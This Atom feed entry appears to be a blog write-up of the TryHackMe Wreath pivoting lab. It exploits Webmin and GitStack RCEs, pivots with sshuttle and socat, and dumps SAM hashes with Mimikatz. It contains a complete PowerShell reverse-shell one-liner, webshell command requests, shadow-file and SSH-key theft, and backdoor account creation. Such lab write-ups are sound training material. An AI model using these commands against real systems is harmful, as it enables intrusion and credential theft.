<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://0x5h4q.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://0x5h4q.github.io/" rel="alternate" type="text/html" /><updated>2026-09-17T11:13:12+01:00</updated><id>https://0x5h4q.github.io/feed.xml</id><title type="html">0x5h4q</title><subtitle>Security researcher | Pentesting | CTFs | Active Directory Breaking things. Writing about it. Repeat.</subtitle><author><name>0x5h4q</name></author><entry><title type="html">THM Wreath Pt.1 — Webmin RCE, Pivoting and a Relayed SYSTEM Shell</title><link href="https://0x5h4q.github.io/tryhackme/pivoting/thm-wreath-writeup/" rel="alternate" type="text/html" title="THM Wreath Pt.1 — Webmin RCE, Pivoting and a Relayed SYSTEM Shell" /><published>2026-09-15T00:00:00+01:00</published><updated>2026-09-15T00:00:00+01:00</updated><id>https://0x5h4q.github.io/tryhackme/pivoting/thm-wreath-writeup</id><content type="html" xml:base="https://0x5h4q.github.io/tryhackme/pivoting/thm-wreath-writeup/"><![CDATA[<style>
p {
  text-align: justify;
}
</style>

<h1 id="tryhackme-wreath">TryHackMe Wreath</h1>

<p><strong>Difficulty:</strong> Easy…i think
<strong>OS:</strong> CentOS / Windows Server 2019
<strong>Platform:</strong> TryHackMe
<strong>Category:</strong> Network Pivoting
<strong>Status:</strong> In Progress (Part 1 of 2)</p>

<hr />

<h2 id="overview">Overview</h2>

<p>Wreath is a full network pivoting room, not a single box. The premise is simple: compromise a public facing CentOS server, then use it as a bridge to reach an internal Windows network that has zero direct route back to the attacker. Part 1 covers everything up to landing a stable SYSTEM shell on the second host. Part 2 picks up with persistence, evil-winrm, RDP, and Mimikatz.</p>

<p>Two unauthenticated RCEs, one static nmap binary, and a socat relay chained through firewalld. No exploit dev, all public CVEs, all about chaining them correctly ¯\_(ツ)_/¯</p>

<hr />

<h2 id="reconnaissance">Reconnaissance</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sV</span> <span class="nt">-sS</span> <span class="nt">-T4</span> <span class="nt">-A</span> <span class="nt">-Pn</span> 10.200.180.200
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>22/tcp    open   ssh        OpenSSH 8.0 (protocol 2.0)
80/tcp    open   http       Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1c)
|_http-title: Did not follow redirect to https://thomaswreath.thm
443/tcp   open   ssl/http   Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1c)
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Thomas Wreath | Developer
9090/tcp  closed zeus-admin
10000/tcp open   http       MiniServ 1.890 (Webmin httpd)
</code></pre></div></div>

<p>Port 80 redirects to <code class="language-plaintext highlighter-rouge">https://thomaswreath.thm</code>, so that goes into <code class="language-plaintext highlighter-rouge">/etc/hosts</code> before anything else:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"10.200.180.200 thomaswreath.thm"</span> | <span class="nb">sudo tee</span> <span class="nt">-a</span> /etc/hosts
</code></pre></div></div>

<p><img src="/assets/images/WREATHHH/webpage.png" alt="portfolio" /></p>

<p>The site’s a personal portfolio for a developer and sysadmin named Thomas Wreath. Banked immediately: his name as a likely username anywhere else, and the email on the contact page. People who build their own portfolio tend to reuse the same identity everywhere.</p>

<p>Gobuster came back with nothing worth chasing:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gobuster <span class="nb">dir</span> <span class="nt">-u</span> https://thomaswreath.thm/ <span class="nt">-w</span> /usr/share/wordlists/dirb/common.txt <span class="nt">-k</span>
</code></pre></div></div>
<p><img src="/assets/images/WREATHHH/gobuster.png" alt="gobuster" /></p>

<hr />

<h2 id="foothold--webmin-rce-cve-2019-15107">Foothold — Webmin RCE (CVE-2019-15107)</h2>

<p><img src="/assets/images/WREATHHH/login.png" alt="webmin-login" /></p>

<p>Port 10000 throws a Webmin login page. Server header hands over the exact version:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Server: MiniServ/1.890
</code></pre></div></div>

<p><img src="/assets/images/WREATHHH/miniserv.png" alt="webmin-version" /></p>

<p>Webmin 1.890 through 1.920 shipped with a backdoor baked directly into <code class="language-plaintext highlighter-rouge">password_change.cgi</code>, tracked as CVE-2019-15107. 1.890 specifically is exploitable completely unauthenticated, no special config needed.</p>

<p><img src="/assets/images/WREATHHH/google.png" alt="cve-search" /></p>

<p>Metasploit’s got a module for it:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>10  exploit/linux/http/webmin_backdoor
</code></pre></div></div>

<p><img src="/assets/images/WREATHHH/backdoor.png" alt="msf-search" /></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>use exploit/linux/http/webmin_backdoor
<span class="nb">set </span>RHOSTS 10.200.180.200
<span class="nb">set </span>RPORT 10000
<span class="nb">set </span>SSL <span class="nb">true</span>
</code></pre></div></div>

<p>Confirmed the password reset page is actually reachable first, since that’s what makes the backdoor exploitable:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://10.200.180.200:10000/password_change.cgi
</code></pre></div></div>

<p><img src="/assets/images/WREATHHH/cgi.png" alt="password-change" /></p>

<p>Fired it:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>run
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[+] The target is vulnerable. Exploitable: version 1.890 is vulnerable
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened
</code></pre></div></div>

<p><img src="/assets/images/WREATHHH/shell.png" alt="shell-opened" /></p>

<p><code class="language-plaintext highlighter-rouge">cmd/unix/reverse_perl</code> is the default here because Webmin’s Perl based, so Perl’s guaranteed to exist regardless of what else is or isn’t installed on the box.</p>

<p>Upgraded to Meterpreter:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sessions -u 1
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>meterpreter &gt; getuid
Server username: root
</code></pre></div></div>

<p>Root, off the first exploit. No privesc chain needed at all.</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>meterpreter &gt; sysinfo
Computer     : prod-serv
OS           : CentOS 8.2.2004 (Linux 4.18.0-193.28.1.el8_2.x86_64)
</code></pre></div></div>

<p><img src="/assets/images/WREATHHH/sysinfo.png" alt="sysinfo" /></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /etc/passwd
<span class="nb">cat</span> /etc/shadow
</code></pre></div></div>

<p><img src="/assets/images/WREATHHH/passwd.png" alt="passwd" /></p>

<p><img src="/assets/images/WREATHHH/shadow.png" alt="shadow" /></p>

<p>Confirms a second real user, <code class="language-plaintext highlighter-rouge">twreath</code>, matching the portfolio site. Both hashes pulled here, though neither actually matters for what comes next.</p>

<hr />

<h2 id="persistent-root-access">Persistent Root Access</h2>

<p>The root hash isn’t crackable, unsalted or not it’s a strong SHA-512 hash rockyou isn’t touching. So, SSH keys, found in <code class="language-plaintext highlighter-rouge">/root/.ssh</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> /root/.ssh
<span class="nb">ls</span>
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>authorized_keys  id_rsa  id_rsa.pub  known_hosts
</code></pre></div></div>

<p>Already a keypair staged on the box. First instinct, generate a fresh one:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh-keygen <span class="nt">-t</span> rsa <span class="nt">-b</span> 4096 <span class="nt">-f</span> ~/.ssh/wreath_key
</code></pre></div></div>

<p>Mistake. Since this ran inside the shell already sitting on the target, the keypair generated there, not on Kali. Confirmed via <code class="language-plaintext highlighter-rouge">hostname</code> returning <code class="language-plaintext highlighter-rouge">prod-serv</code>. Private key needs to live on the attacker box, full stop.</p>

<p>Tried appending the new key anyway:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat </span>wreath_key.pub <span class="o">&gt;&gt;</span> authorized_keys
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Operation not permitted
</code></pre></div></div>

<p>Even as root. Checked SELinux since CentOS enforces by default:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>getenforce      <span class="c"># Enforcing</span>
setenforce 0    <span class="c"># Permissive</span>
</code></pre></div></div>

<p>Still failed in permissive mode, so SELinux wasn’t the actual blocker. Immutable attribute or a shell redirection quirk, worth revisiting with <code class="language-plaintext highlighter-rouge">lsattr</code> another time, but not worth the fight since there was a way simpler path already sitting there.</p>

<p>The pre-existing <code class="language-plaintext highlighter-rouge">id_rsa.pub</code> was already listed in <code class="language-plaintext highlighter-rouge">authorized_keys</code>, comment <code class="language-plaintext highlighter-rouge">root@tm-prod-serv</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat </span>id_rsa.pub
<span class="nb">cat </span>authorized_keys
</code></pre></div></div>

<p>Identical. Already trusted, no write needed. Just take the private key:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat </span>id_rsa
</code></pre></div></div>

<p><img src="/assets/images/WREATHHH/id_rsa_wreath.png" alt="id-rsa" /></p>

<p>Pasted onto Kali:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nano ~/.ssh/id_rsa_wreath
<span class="nb">chmod </span>600 ~/.ssh/id_rsa_wreath
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh <span class="nt">-i</span> ~/.ssh/id_rsa_wreath root@thomaswreath.thm
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[root@prod-serv ~]#
</code></pre></div></div>

<p><img src="/assets/images/WREATHHH/ssh.png" alt="ssh-persistent" /></p>

<p>Clean root, no password, survives the reverse shell dying entirely.</p>

<hr />

<h2 id="enumerating-the-internal-network">Enumerating the Internal Network</h2>

<p>Nmap isn’t installed on prod-serv. Static binary, quick python webserver to move it over:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>python3 <span class="nt">-m</span> http.server 80
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl 10.250.180.8/nmap-USERNAME <span class="nt">-o</span> /tmp/nmap-USERNAME <span class="o">&amp;&amp;</span> <span class="nb">chmod</span> +x /tmp/nmap-USERNAME
</code></pre></div></div>

<p>Ping sweep:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./nmap-USERNAME <span class="nt">-sn</span> 10.200.180.1-255 <span class="nt">-oN</span> scan-USERNAME
</code></pre></div></div>

<p><img src="/assets/images/WREATHHH/nmap2.png" alt="ping-sweep" /></p>

<p>Five hosts up. <code class="language-plaintext highlighter-rouge">.1</code> is AWS infra, <code class="language-plaintext highlighter-rouge">.250</code> is the OpenVPN server, both out of scope per the room rules. <code class="language-plaintext highlighter-rouge">.200</code> is prod-serv itself. That leaves <code class="language-plaintext highlighter-rouge">.100</code> and <code class="language-plaintext highlighter-rouge">.150</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./nmap-USERNAME <span class="nt">-sS</span> 10.200.180.100 <span class="nt">-oN</span> scan-100-USERNAME
./nmap-USERNAME <span class="nt">-sS</span> 10.200.180.150 <span class="nt">-oN</span> scan-150-USERNAME
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">.100</code> fully filtered, nothing to work with. <code class="language-plaintext highlighter-rouge">.150</code>:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>80/tcp   open  http
3389/tcp open  ms-wbt-server
5985/tcp open  wsman
</code></pre></div></div>

<p>RDP and WinRM open means Windows. The interesting one is actually the plain HTTP service, RDP and WinRM are narrow, well documented attack surfaces on a patched box, but an unidentified web service could be anything, and given Thomas is a developer, custom code on that port is a real bet.</p>

<p>To reach <code class="language-plaintext highlighter-rouge">.150</code> from a browser, went with sshuttle over chisel or a straight socat forward, since CentOS’s firewalld is locked down tight and would’ve fought a direct port forward:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sshuttle <span class="nt">-r</span> root@thomaswreath.thm <span class="nt">--ssh-cmd</span> <span class="s2">"ssh -i ~/.ssh/id_rsa_wreath"</span> 10.200.180.0/24 <span class="nt">-x</span> 10.200.180.200
</code></pre></div></div>

<p><img src="/assets/images/WREATHHH/sshuttle.png" alt="sshuttle" /></p>

<p><code class="language-plaintext highlighter-rouge">-x</code> matters, sshuttle breaks with a broken pipe error if the box you’re tunnelling through sits inside the subnet you’re forwarding.</p>

<hr />

<h2 id="gitstack-rce-2310">GitStack RCE (2.3.10)</h2>

<p>Browsing <code class="language-plaintext highlighter-rouge">10.200.180.150</code> on port 80 threw a Django debug 404, which was actually a gift, it leaked the URL patterns:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>^registration/login/$
^gitstack/
^rest/
</code></pre></div></div>

<p><img src="/assets/images/WREATHHH/django.png" alt="django-404" /></p>

<p>GitStack, a self-hosted Git server manager built on Django. Login page displays its own default creds in the UI, <code class="language-plaintext highlighter-rouge">admin</code>/<code class="language-plaintext highlighter-rouge">admin</code>. Don’t work obviously, the room even winks at you about it.</p>

<p><img src="/assets/images/WREATHHH/gitstack.png" alt="gitstack-login" /></p>

<p>Searchsploit turns up three, the one that matters is the Python RCE for 2.3.10:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>searchsploit gitstack
searchsploit <span class="nt">-m</span> 43777
</code></pre></div></div>

<p><img src="/assets/images/WREATHHH/43777.png" alt="searchsploit" /></p>

<p>Fixed the DOS line endings from the Windows-authored original:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dos2unix ./43777.py
</code></pre></div></div>

<p>Header confirms written 18.01.2018. No round brackets on the print statements means Python2:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python2
</span></code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">chmod</span> +x 43777.py
</code></pre></div></div>

<p>Set target IP, renamed both <code class="language-plaintext highlighter-rouge">exploit.php</code> references so the webshell doesn’t clash with anyone else’s on the box:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ip</span> <span class="o">=</span> <span class="s">'10.200.180.150'</span>
</code></pre></div></div>

<p>Ran it:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./43777.py
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[+] Get user list
[+] Found user twreath
[+] Create backdoor in PHP
[+] Execute command
"nt authority\system"
</code></pre></div></div>

<p><img src="/assets/images/WREATHHH/authority.png" alt="system" /></p>

<p>SYSTEM, straight off the exploit, no privesc chain here either. The “credentials not entered correctly” line that shows up mid-run is just noise from the auth attempt during backdoor creation, ignore it.</p>

<p>Also, <code class="language-plaintext highlighter-rouge">twreath</code> shows up as a valid user on GitStack too. Same person, same creds, two separate services, two separate machines. This whole environment is built around one guy’s credential reuse habits, which honestly, realistic ಠ_ಠ</p>

<hr />

<h2 id="quiet-post-exploitation">Quiet Post-Exploitation</h2>

<p>Re-running the full exploit for every command is loud. It already dropped a webshell, so from here it’s just:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-X</span> POST http://10.200.180.150/web/exploit-USERNAME.php <span class="nt">-d</span> <span class="s2">"a=COMMAND"</span>
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-X</span> POST http://10.200.180.150/web/exploit-USERNAME.php <span class="nt">-d</span> <span class="s2">"a=hostname"</span>
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>"git-serv"
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">systeminfo</code> confirms Windows Server 2019 Standard, build 17763, standalone.</p>

<p><img src="/assets/images/WREATHHH/qxvat7r.php.png" alt="info" /></p>

<hr />

<h2 id="building-the-relay">Building the Relay</h2>

<p>Checked whether git-serv can reach Kali at all first:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>tcpdump <span class="nt">-i</span> tun0 icmp
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-X</span> POST http://10.200.180.150/web/exploit-USERNAME.php <span class="nt">-d</span> <span class="s2">"a=ping -n 3 10.250.180.8"</span>
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Packets: Sent = 3, Received = 0, Lost = 3 (100% loss)
</code></pre></div></div>

<p>Zero route out. Straight reverse shell was never happening, needs to relay through prod-serv, the only box with a foot in both networks.</p>

<p>Opened a port on prod-serv’s firewall:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>firewall-cmd <span class="nt">--zone</span><span class="o">=</span>public <span class="nt">--add-port</span><span class="o">=</span>16000/tcp
</code></pre></div></div>

<p>First attempt forgot <code class="language-plaintext highlighter-rouge">fork</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./socat tcp-l:16000 tcp:10.250.180.8:4444 &amp;
</code></pre></div></div>

<p>Handled one connection and died silently, only noticed when <code class="language-plaintext highlighter-rouge">jobs</code> later showed <code class="language-plaintext highlighter-rouge">[1]+ Done</code>. Fixed version:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./socat tcp-l:16000,fork,reuseaddr tcp:10.250.180.8:4444 &amp;
</code></pre></div></div>

<p>Listener on Kali, <code class="language-plaintext highlighter-rouge">rlwrap</code> this time since raw netcat has no line editing:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>rlwrap nc <span class="nt">-lvnp</span> 4444
</code></pre></div></div>

<p>Fired the PowerShell reverse shell through the webshell, pointed at prod-serv’s relay port since that’s the only address git-serv can actually reach:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl -X POST [http://10.200.180.150/web/exploit-qxvat7r.php](http://10.200.180.150/web/exploit-qxvat7r.php) --data-urlencode "a=powershell.exe -c "$client = New-Object System.Net.Sockets.TCPClient('10.200.180.200',16000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&gt;&amp;1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '&gt; ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()""
</code></pre></div></div>
<p>And then boom baby…we in.</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PS C:\GitStack\gitphp&gt; whoami
nt authority\system
</code></pre></div></div>

<p><img src="/assets/images/WREATHHH/rlwrap.png" alt="final-shell" /></p>

<p>Clean, stable, still SYSTEM, relayed across a network segment that couldn’t talk to me directly.</p>

<hr />

<h2 id="confirming-the-privilege-level">Confirming the Privilege Level</h2>

<p>Before creating any accounts, worth confirming exactly what the session can do. <code class="language-plaintext highlighter-rouge">whoami</code> alone only tells you who, not what:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">whoami</span><span class="w"> </span><span class="nx">/all</span><span class="w">
</span></code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>User Name           SID
=================== ========
nt authority\system S-1-5-18
 
Group Name                Type    SID
BUILTIN\Administrators    Alias   S-1-5-32-544    Enabled by default, Group owner
 
Privilege Name          State
SeTcbPrivilege           Enabled
SeDebugPrivilege         Enabled
SeImpersonatePrivilege   Enabled
</code></pre></div></div>

<p>Member of <code class="language-plaintext highlighter-rouge">BUILTIN\Administrators</code>, <code class="language-plaintext highlighter-rouge">SeDebugPrivilege</code> and <code class="language-plaintext highlighter-rouge">SeImpersonatePrivilege</code> both enabled. Everything needed to create an account, drop it into Administrators, and load Mimikatz later without fighting anything.</p>

<hr />

<h2 id="creating-a-persistent-account">Creating a Persistent Account</h2>

<p>Ports 3389 and 5985 were already confirmed open in Part 1, RDP and WinRM. Either gives a way more stable foothold than a relayed webshell, but both need an actual user account rather than the service context currently held. RDP needs Remote Desktop Users or Administrators, WinRM needs Remote Management Users.</p>

<p>Since the session’s already SYSTEM, creating the account is trivial:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">net</span><span class="w"> </span><span class="nx">user</span><span class="w"> </span><span class="nx">dizzyking4</span><span class="w"> </span><span class="nx">IamPeak</span><span class="o">!</span><span class="w"> </span><span class="nx">/add</span><span class="w">
</span><span class="n">net</span><span class="w"> </span><span class="nx">localgroup</span><span class="w"> </span><span class="nx">Administrators</span><span class="w"> </span><span class="nx">dizzyking4</span><span class="w"> </span><span class="nx">/add</span><span class="w">
</span><span class="n">net</span><span class="w"> </span><span class="nx">localgroup</span><span class="w"> </span><span class="s2">"Remote Management Users"</span><span class="w"> </span><span class="nx">dizzyking4</span><span class="w"> </span><span class="nx">/add</span><span class="w">
</span></code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>The command completed successfully.
The command completed successfully.
The command completed successfully.
</code></pre></div></div>

<p>Doesn’t persist through a room reset, which is fine, the goal’s stable access for the engagement, not a permanent backdoor into a lab box.</p>

<hr />

<h2 id="accessing-over-winrm">Accessing over WinRM</h2>

<p>evil-winrm isn’t default on Kali:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>gem <span class="nb">install </span>evil-winrm
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>evil-winrm <span class="nt">-u</span> dizzyking4 <span class="nt">-p</span> <span class="s1">'IamPeak!'</span> <span class="nt">-i</span> 10.200.180.150
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Evil-WinRM shell v3.9
*Evil-WinRM* PS C:\Users\dizzyking4\Documents&gt; whoami
git-serv\dizzyking4
</code></pre></div></div>

<p><img src="/assets/images/WREATHHH/dizzyking4.png" alt="evil-winrm" /></p>

<p>Worth flagging, evil-winrm typically hands back a medium integrity shell for a newly added account even when it’s sitting in Administrators. Group membership alone doesn’t equal an elevated token over WinRM, UAC still applies. <code class="language-plaintext highlighter-rouge">whoami /priv</code> here only shows baseline privileges, nowhere near what the relayed SYSTEM shell had.</p>

<p>Fine for now though, WinRM’s the stable day to day access point going forward. RDP’s needed for the next bit.</p>

<hr />

<h2 id="rdp-and-a-shared-drive-for-tooling">RDP and a Shared Drive for Tooling</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>xfreerdp /v:10.200.180.150 /u:dizzyking4 /p:<span class="s1">'IamPeak!'</span> +clipboard /dynamic-resolution /cert:ignore /drive:/usr/share/windows-resources,share
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">/drive</code> is doing the real work here. Mounts a Kali directory as a network share visible inside the RDP session, so tooling never needs manually uploading. <code class="language-plaintext highlighter-rouge">/usr/share/windows-resources</code> already ships Mimikatz, PowerShell Empire, and a bunch of other Windows post-ex tools pre-staged, so pointing the share straight at it gives instant access from inside the GUI.</p>

<p><img src="/assets/images/WREATHHH/share.png" alt="rdp-mounted" /></p>

<p><img src="/assets/images/WREATHHH/share2.png" alt="rdp-contents" /></p>

<hr />

<h2 id="running-mimikatz">Running Mimikatz</h2>

<p>Opened PowerShell as Administrator inside the RDP session (matters, Mimikatz needs an elevated process to do anything) and ran it off the mounted share:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">\\tsclient\share\mimikatz\x64\mimikatz.exe</span><span class="w">
</span></code></pre></div></div>

<p>Loaded, next need the Debug privilege and elevate the token’s integrity to SYSTEM. Administrator rights and SYSTEM aren’t the same thing, and dumping SAM needs the latter:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>privilege::debug
token::elevate
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Privilege '20' OK
 
668  {0;000003e7} 1 D 19934        NT AUTHORITY\SYSTEM   S-1-5-18   Primary
 -&gt; Impersonated !
* Process Token : GIT-SERV\dizzyking4
* Thread Token  : NT AUTHORITY\SYSTEM   Impersonation (Delegation)
</code></pre></div></div>

<p>Token elevated. Full local SAM dump:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>lsadump::sam
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Domain     : GIT-SERV
SysKey     : 0841f6354f4b96d21b99345d07b66571
Local SID  : S-1-5-21-3335744492-1614955177-2693036043
 
RID  : 000001f4 (500)
User : Administrator
Hash NTLM: 37db630168e5f82aafa8461e05c6bbd1
</code></pre></div></div>

<p><img src="/assets/images/WREATHHH/admin_hash.png" alt="lsadump-sam" /></p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>RID  : 000003e9 (1001)
User : Thomas
Hash NTLM: 02d90eda8f6b6b06c32d5f207831101f
</code></pre></div></div>

<p><img src="/assets/images/WREATHHH/admin_hash.png" alt="lsadump-sam" /></p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>RID  : 000003ea (1002)
User : dizzyking4
Hash NTLM: eea40fb6e68bc601f61a70b152f7608a
</code></pre></div></div>

<table>
  <tbody>
    <tr>
      <td><em>**Jackpot baby |+</em>+</td>
      <td>/. **_</td>
    </tr>
  </tbody>
</table>

<p>Three local accounts, three hashes. Administrator, the built in local admin, <code class="language-plaintext highlighter-rouge">dizzyking4</code>, the account created earlier this session, and <code class="language-plaintext highlighter-rouge">Thomas</code>, a genuine second local user that hadn’t shown up anywhere else in the room so far.</p>

<hr />

<h2 id="cracking-thomas-hash">Cracking Thomas’ Hash</h2>

<p>Administrator’s hash isn’t going anywhere, a properly random local admin password on a hardened box won’t fall to a wordlist in any sane timeframe.</p>

<p>Thomas’ is a different story. NTLM’s unsalted, meaning identical passwords always produce identical hashes regardless of machine or account. CrackStation exploits exactly that, a massive precomputed database of password-to-hash mappings, instant lookup rather than actual cracking:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>02d90eda8f6b6b06c32d5f207831101f
</code></pre></div></div>

<p><img src="/assets/images/WREATHHH/cracked.png" alt="crackstation" /></p>

<p>Instant hit:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Password: i&lt;3ruby
</code></pre></div></div>

<p>Never do this against a real client hash in an actual engagement btw, submitting live credential material to a third party site is a data handling violation on its own regardless of whether it cracks. Real equivalent is Hashcat locally or dedicated cracking hardware your own org controls. CrackStation’s fine here purely because it’s an isolated lab built for exactly this demo.</p>

<hr />

<h2 id="what-did-we-learn">What Did We Learn?</h2>

<h3 id="1-group-membership--privilege-level">1. Group Membership ≠ Privilege Level</h3>

<p>evil-winrm handing back a medium integrity shell for a freshly created Administrator account trips a lot of people up. Being in the Administrators group doesn’t automatically mean an elevated token over WinRM, UAC still applies regardless.</p>

<h3 id="2-drive-in-xfreerdp-removes-the-upload-problem-entirely">2. <code class="language-plaintext highlighter-rouge">/drive</code> in xfreerdp Removes the Upload Problem Entirely</h3>

<p>Once RDP access exists, everything on the attacking machine becomes instantly available from inside the GUI session. No manual transfer, no webshell upload dance, just point it at your toolbox.</p>

<h3 id="3-unsalted-ntlm-is-exactly-as-weak-as-its-reputation">3. Unsalted NTLM Is Exactly As Weak As Its Reputation</h3>

<p>If a hash shows up in a common password database, the lookup is genuinely instant. No cracking required, no wordlist needed, just a database query.</p>

<h3 id="4-always-verify-the-effective-token-not-just-group-membership">4. Always Verify the Effective Token, Not Just Group Membership</h3>

<p><code class="language-plaintext highlighter-rouge">whoami /priv</code> is the actual source of truth. Group membership tells you what’s assigned, the token tells you what’s active.</p>

<h3 id="5-rce-doesnt-mean-privesc-is-needed">5. RCE Doesn’t Mean Privesc Is Needed</h3>

<p>Both Webmin and GitStack handed over SYSTEM/root immediately, no chain required. Worth checking <code class="language-plaintext highlighter-rouge">whoami</code>/<code class="language-plaintext highlighter-rouge">getuid</code> right after any exploit lands, sometimes the job’s already done.</p>

<h3 id="6-check-hostname-before-trusting-where-you-are">6. Check <code class="language-plaintext highlighter-rouge">hostname</code> Before Trusting Where You Are</h3>

<p>Generating SSH keys from inside a reverse shell puts the private key on the wrong machine if you’re not paying attention. <code class="language-plaintext highlighter-rouge">hostname</code> before <code class="language-plaintext highlighter-rouge">ssh-keygen</code>, every time.</p>

<h3 id="7-an-unidentified-service-beats-a-well-known-one">7. An Unidentified Service Beats a Well Known One</h3>

